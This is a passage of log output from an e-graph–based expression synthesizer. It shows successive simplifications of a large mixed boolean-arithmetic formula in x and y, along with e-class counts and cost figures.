x)^y)*((~x)^y))))+(((((y^x)*0xf181638000000000)*y)*((~x)^y))*(x&(~y))))+(((((y^x)*0xe7e9c8000000000)*y)*((~x)^y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&(~y))*(x&(~y))))))+(((y^x)*0x28403b4000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((y^x)*0x78c0b1c000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&(~y))*(x&(~y))))))+(((y^x)*0x28403b4000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((y^x)*0x873f4e4000000000)*((x&(~y))*(x&(~y))))*(x&y))))+((y*(y*(y*y)))*0x820278b000000000)))+(((y*(y*y))*0xf7f61d4000000000)*(x&y)))+(((y*y)*0xc0ed42000000000)*(((~x)^y)*((~x)^y))))+((((y*y)*0x181da84000000000)*((~x)^y))*(x&(~y))))+((((y*y)*0xe7e257c000000000)*((~x)^y))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&(~y))*(x&(~y))))))+((y*0x809e2c000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+(((y*0x181da84000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+(((y*0xe7e257c000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&(~y))*(x&(~y))))))+((y*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((y*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y))))+((((~x)^y)*(((~x)^y)*(((~x)^y)*((~x)^y))))*0x820278b000000000))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0x809e2c000000000)*(x&(~y))))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0xf7f61d4000000000)*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&(~y))*(x&(~y))))))+((((~x)^y)*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((((~x)^y)*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y))))+(((x&(~y))*((x&(~y))*((x&(~y))*(x&(~y)))))*0x820278b000000000))+((((x&(~y))*((x&(~y))*(x&(~y))))*0xf7f61d4000000000)*(x&y))))+(((x&y)*((x&y)*((x&y)*(x&y))))*0x820278b000000000))
====================================================================================================
eclasses #: 32490
Synthesized (cost = 3052): ((((x&y)*(x&y))*((0x820278b000000000*((x&y)*(x&y)))+((((x&(~y))*0xf7f61d4000000000)*(x&y))+(((x&(~y))*(x&(~y)))*0xc0ed42000000000))))+((((x&(~y))*((x&(~y))*(x&(~y))))*(((x&y)*0xf7f61d4000000000)+(0x820278b000000000*(x&(~y)))))+((((x&y)*(x&y))*(((((~x)^y)*0xf7f61d4000000000)*(x&y))+((((~x)^y)*0x181da84000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*(((~x)^y)*0xe7e257c000000000))+((((~x)^y)*0x809e2c000000000)*(x&(~y)))))+((((((~x)^y)*((~x)^y))*0xc0ed42000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*((((((~x)^y)*((~x)^y))*0xe7e257c000000000)*(x&(~y)))+((((~x)^y)*(((~x)^y)*((~x)^y)))*0xf7f61d4000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*(((x&(~y))*0x809e2c000000000)+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*(((y*0xf7f61d4000000000)*(x&y))+((y*0x181da84000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*(y*0xe7e257c000000000))+((y*0x809e2c000000000)*(x&(~y)))))+(((x&y)*((((y*0x181da84000000000)*((~x)^y))*(x&y))+(((y*0xcfc4af8000000000)*((~x)^y))*(x&(~y)))))+(((((y*0x181da84000000000)*((~x)^y))*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*(y*0xe7e257c000000000))+((y*0x809e2c000000000)*((~x)^y))))+((((y*y)*0xc0ed42000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((((y*y)*0xe7e257c000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*((y*y)*0x181da84000000000))+(((y*y)*0xc0ed42000000000)*((~x)^y))))+(((y*(y*y))*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x809e2c000000000)))+(((y*(y*y))*((((~x)^y)*0x809e2c000000000)+(0x820278b000000000*y)))+((((x&y)*(x&y))*((((y^x)*0xd7bfc4c000000000)*(x&y))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*((y^x)*0x873f4e4000000000))+(((y^x)*0x28403b4000000000)*(x&(~y)))))+(((x&y)*(((((y^x)*0x78c0b1c000000000)*((~x)^y))*(x&y))+((((y^x)*0xe7e9c8000000000)*((~x)^y))*(x&(~y)))))+((((((y^x)*0x78c0b1c000000000)*((~x)^y))*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*((y^x)*0x873f4e4000000000))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((((y^x)*0x78c0b1c000000000)*y)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*y)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((y^x)*0xf181638000000000)*y))+((((y^x)*0x78c0b1c000000000)*y)*((~x)^y))))+((((((y^x)*0x78c0b1c000000000)*(y*y))*((~y)+(x&y)))+(((((x&y)*(x&y))*((((x*y)*0xc39fa72000000000)*(x&y))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*((x*y)*0x4adef56000000000))+(((x*y)*0x3c6058e000000000)*(x&(~y)))))+(((x&y)*(((((x*y)*0xb5210aa000000000)*((~x)^y))*(x&y))+((((x*y)*0x95bdeac000000000)*((~x)^y))*(x&(~y)))))+((((((x*y)*0xb5210aa000000000)*((~x)^y))*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*((x*y)*0x4adef56000000000))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((((x*y)*0xb5210aa000000000)*y)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*y)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x*y)*0x6a42154000000000)*y))+((((x*y)*0xb5210aa000000000)*y)*((~x)^y))))+((((((x*y)*0xb5210aa000000000)*(y*y))*((~y)+(x&y)))+(((((x&y)*(x&y))*((((x|y)*0xaf7f898000000000)*(x&y))+(((x|y)*0xf181638000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*((x|y)*0xe7e9c8000000000))+(((x|y)*0x5080768000000000)*(x&(~y)))))+(((x&y)*(((((x|y)*0xf181638000000000)*((~x)^y))*(x&y))+((((x|y)*0x1cfd390000000000)*((~x)^y))*(x&(~y)))))+((((((x|y)*0xf181638000000000)*((~x)^y))*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*((x|y)*0xe7e9c8000000000))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((((x|y)*0xf181638000000000)*y)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*y)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x|y)*0xe302c70000000000)*y))+((((x|y)*0xf181638000000000)*y)*((~x)^y))))+((((((x|y)*0xf181638000000000)*(y*y))*((~y)+(x&y)))+((((((y^x)*(y^x))*0x6b02c22000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((y^x)*(y^x))*0xd605844000000000))+((((y^x)*(y^x))*0x6b02c22000000000)*((~x)^y))))+(((((((y^x)*(y^x))*0xd605844000000000)*y)*((~y)+(x&y)))+((((((x*y)*0x4108466000000000)*(y^x))*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x*y)*0x7def734000000000)*(y^x))*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x*y)*0x82108cc000000000)*(y^x)))+((((x*y)*0x4108466000000000)*(y^x))*((~x)^y))))+(((((((x*y)*0x82108cc000000000)*(y^x))*y)*((~y)+(x&y)))+((((((x*y)*(x*y))*0xb0c634c800000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x*y)*(x*y))*0x9e73967000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x*y)*(x*y))*0x618c699000000000))+((((x*y)*(x*y))*0xb0c634c800000000)*((~x)^y))))+(((((((x*y)*(x*y))*0x618c699000000000)*y)*((~y)+(x&y)))+((((((x|y)*0xac0b088000000000)*(y^x))*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x|y)*0x5816110000000000)*(y^x)))+((((x|y)*0xac0b088000000000)*(y^x))*((~x)^y))))+(((((((x|y)*0x5816110000000000)*(y^x))*y)*((~y)+(x&y)))+((((((x|y)*0x82108cc000000000)*(x*y))*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x|y)*0xfbdee68000000000)*(x*y))*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x|y)*0x421198000000000)*(x*y)))+((((x|y)*0x82108cc000000000)*(x*y))*((~x)^y))))+(((((((x|y)*0x421198000000000)*(x*y))*y)*((~y)+(x&y)))+((((((x|y)*(x|y))*0xac0b088000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x|y)*(x|y))*0x5816110000000000))+((((x|y)*(x|y))*0xac0b088000000000)*((~x)^y))))+(((((((x|y)*(x|y))*0x5816110000000000)*y)*((~y)+(x&y)))+(((((y^x)*((y^x)*(y^x)))*0x805c98c000000000)+((((x*y)*0xc1a0af6000000000)*((y^x)*(y^x)))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)+((((x&y)*(x&y))*((0x5bfeed000000000*(x&y))+((x&(~y))*0xeec0339000000000)))+((((x&(~y))*(x&(~y)))*(((x&y)*0x113fcc7000000000)+(0xfa40113000000000*(x&(~y)))))+(((x&y)*(((((~x)^y)*0xeec0339000000000)*(x&y))+((((~x)^y)*0x227f98e000000000)*(x&(~y)))))+((((((~x)^y)*0xeec0339000000000)*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*0x113fcc7000000000)+(0xfa40113000000000*((~x)^y))))+(((y*0xeec0339000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((y*0x227f98e000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(y*0xdd80672000000000))+((y*0xeec0339000000000)*((~x)^y))))+((((y*y)*0x113fcc7000000000)*(y-(y^x)))+(((y*y)*((((~x)^y)*0xeec0339000000000)+(0xfa40113000000000*y)))+((((y^x)*0x5a353ef000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((((y^x)*0x4b95822000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*((y^x)*0xb46a7de000000000))+(((y^x)*0x5a353ef000000000)*((~x)^y))))+((((((y^x)*0xb46a7de000000000)*y)*((~y)+(x&y)))+(((((x*y)*0x874fde6800000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((((x*y)*0xf160433000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*((x*y)*0xe9fbcd000000000))+(((x*y)*0x874fde6800000000)*((~x)^y))))+((((((x*y)*0xe9fbcd000000000)*y)*((~y)+(x&y)))+(((((x|y)*0xb46a7de000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((((x|y)*0x972b044000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*((x|y)*0x68d4fbc000000000))+(((x|y)*0xb46a7de000000000)*((~x)^y))))+((((((x|y)*0x68d4fbc000000000)*y)*((~y)+(x&y)))+(((((y^x)*(y^x))*0x70402d7000000000)+((((x*y)*0x50c0885000000000)*(y^x))+((((x*y)*(x*y))*0xbc90663c00000000)+((((x|y)*0xc100b5c000000000)*(y^x))+((((x|y)*0xa18110a000000000)*(x*y))+((((x|y)*(x|y))*0xc100b5c000000000)+((0x3337c25800000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((0x99907b5000000000*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*0x666f84b000000000)+(0x3337c25800000000*((~x)^y))))+((((y*0x666f84b000000000)*((~y)+(x&y)))+((((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000)))+((((x*y)*(x*y))*(((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y))))+(((y^x)*((((x|y)*0xfdd46b8000000000)*(y^x))+(((x|y)*0xf97d428000000000)*(x*y))))+(((x*y)*((((x|y)*0xbb1df1e000000000)*(x*y))+(((x|y)*(x|y))*0xf97d428000000000)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((y^x)*((0x24bd107000000000*(y^x))+((x*y)*0x6e37315000000000)))+(((x*y)*((0x92a964fc00000000*(x*y))+((x|y)*0xdc6e62a000000000)))+((((x|y)*0x92f441c000000000)*((y^x)+(x|y)))+(((((x|y)*0xe6b5be4000000004)+0x67c62228de18a6ae)+((x*y)*0xed084eb000000003))+((y^x)*0xf35adf2000000002))))))))))))))+((y*y)*0x3337c25800000000)))+((y*0x99907b5000000000)*(x&y))))))))))))+(((x|y)*0xb46a7de000000000)*(y*y))))+((((x|y)*0x972b044000000000)*y)*(x&y))))))+(((x*y)*0x874fde6800000000)*(y*y))))+((((x*y)*0xf160433000000000)*y)*(x&y))))))+(((y^x)*0x5a353ef000000000)*(y*y))))+((((y^x)*0x4b95822000000000)*y)*(x&y))))))))))))))))))))))))))+((((x|y)*(x|y))*0xac0b088000000000)*(y*y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*y)*(x&y))))))+((((x|y)*0x82108cc000000000)*(x*y))*(y*y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*y)*(x&y))))))+((((x|y)*0xac0b088000000000)*(y^x))*(y*y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*y)*(x&y))))))+((((x*y)*(x*y))*0xb0c634c800000000)*(y*y))))+(((((x*y)*(x*y))*0x9e73967000000000)*y)*(x&y))))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y))))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y))))))+(((x|y)*0x5080768000000000)*(y*(y*y)))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y)))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))+((((y^x)*0x873f4e4000000000)*(y*y))*(x&y))))))))))))))))))))))))))))
====================================================================================================
eclasses #: 352031
Synthesized (cost = 1229): (((x&y)*((0x820278b000000000*((x&y)*((x&y)*(x&y))))+(((x&(~y))*(x&(~y)))*(((x&y)*0xc0ed42000000000)+((x&(~y))*0xf7f61d4000000000)))))+(((((x&y)*((x&y)*(x&y)))*0xf7f61d4000000000)*(~((~x)&y)))+(((((x&(~y))*((x&(~y))*(x&(~y))))*((0x820278b000000000*(x&(~y)))+(((~x)^y)*0x809e2c000000000)))+((x&y)*(((((~x)^y)*0x181da84000000000)*(x&(~y)))*(y-(y^x)))))+(((((~x)^y)*((~x)^y))*((0xc0ed42000000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*(x&(~y)))*0xe7e257c000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*((((x&y)*0xf7f61d4000000000)+((x&(~y))*0x809e2c000000000))+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*((y*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x181da84000000000)))+((y*0x181da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*((x*y)-(0x2*((x&y)*y))))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(~((~x)&y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(-(y^x)))+(((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000))))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
e-graph reset done.
====================================================================================================
eclasses #: 603
Synthesized (cost = 1227): (((x&y)*((0x820278b000000000*((x&y)*((x&y)*(x&y))))+(((x&(~y))*(x&(~y)))*(((x&y)*0xc0ed42000000000)+((x&(~y))*0xf7f61d4000000000)))))+(((((x&y)*((x&y)*(x&y)))*0xf7f61d4000000000)*(x|(~y)))+(((((x&(~y))*((x&(~y))*(x&(~y))))*((0x820278b000000000*(x&(~y)))+(((~x)^y)*0x809e2c000000000)))+((x&y)*(((((~x)^y)*0x181da84000000000)*(x&(~y)))*(y-(y^x)))))+(((((~x)^y)*((~x)^y))*((0xc0ed42000000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*(x&(~y)))*0xe7e257c000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*((((x&y)*0xf7f61d4000000000)+((x&(~y))*0x809e2c000000000))+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*((y*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x181da84000000000)))+((y*0x181da84000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*(y*(((x&y)*0xe7e257c000000000)+((x&(~y))*0x809e2c000000000))))+(((~x)^y)*(((x&y)*(y*0xcfc4af8000000000))+((y*0x181da84000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x181da84000000000*((x*y)-(0x2*((x&y)*y))))+((y*0x809e2c000000000)*((~x)^y))))+((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x|(~y)))))+(((x&(~y))*(y*y))*((0xc0ed42000000000*(x&(~y)))+(((~x)^y)*0x181da84000000000))))+((((y*y)*(((((~x)^y)*((~x)^y))*0xc0ed42000000000)+(0x820278b000000000*(y*y))))+((((x&y)*(x&y))*(((y^x)*(((x&y)*0xd7bfc4c000000000)+((x&(~y))*0x78c0b1c000000000)))+(((y^x)*0x78c0b1c000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((y^x)*(((x&y)*0x873f4e4000000000)+((x&(~y))*0x28403b4000000000))))+(((~x)^y)*(((x&y)*((y^x)*0xe7e9c8000000000))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x78c0b1c000000000*((y^x)*((y^x)-y)))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((~y)*(((y^x)*0x873f4e4000000000)*y))+(((((x&y)*(x&y))*(((x*y)*(((x&y)*0xc39fa72000000000)+((x&(~y))*0xb5210aa000000000)))+(((x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(-(y^x)))+(((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000))))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
====================================================================================================
eclasses #: 1287
Synthesized (cost = 1226): (((x&y)*((0x820278b000000000*((x&y)*((x&y)*(x&y))))+(((x&(~y))*(x&(~y)))*(((x&y)*0xc0ed42000000000)+((x&(~y))*0xf7f61d4000000000)))))+(((((x&y)*((x&y)*(x&y)))*0xf7f61d4000000000)*(x|(~y)))+(((((x&(~y))*((x&(~y))*(x&(~y))))*((0x820278b000000000*(x&(~y)))+(((~x)^y)*0x809e2c000000000)))+((x&y)*(((((~x)^y)*0x181da84000000000)*(x&(~y)))*(y-(y^x)))))+(((((~x)^y)*((~x)^y))*((0xc0ed42000000000*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*(x&(~y)))*0xe7e257c000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*((((x&y)*0xf7f61d4000000000)+((x&(~y))*0x809e2c000000000))+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*((y*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x181da84000000000)))+((y*0x181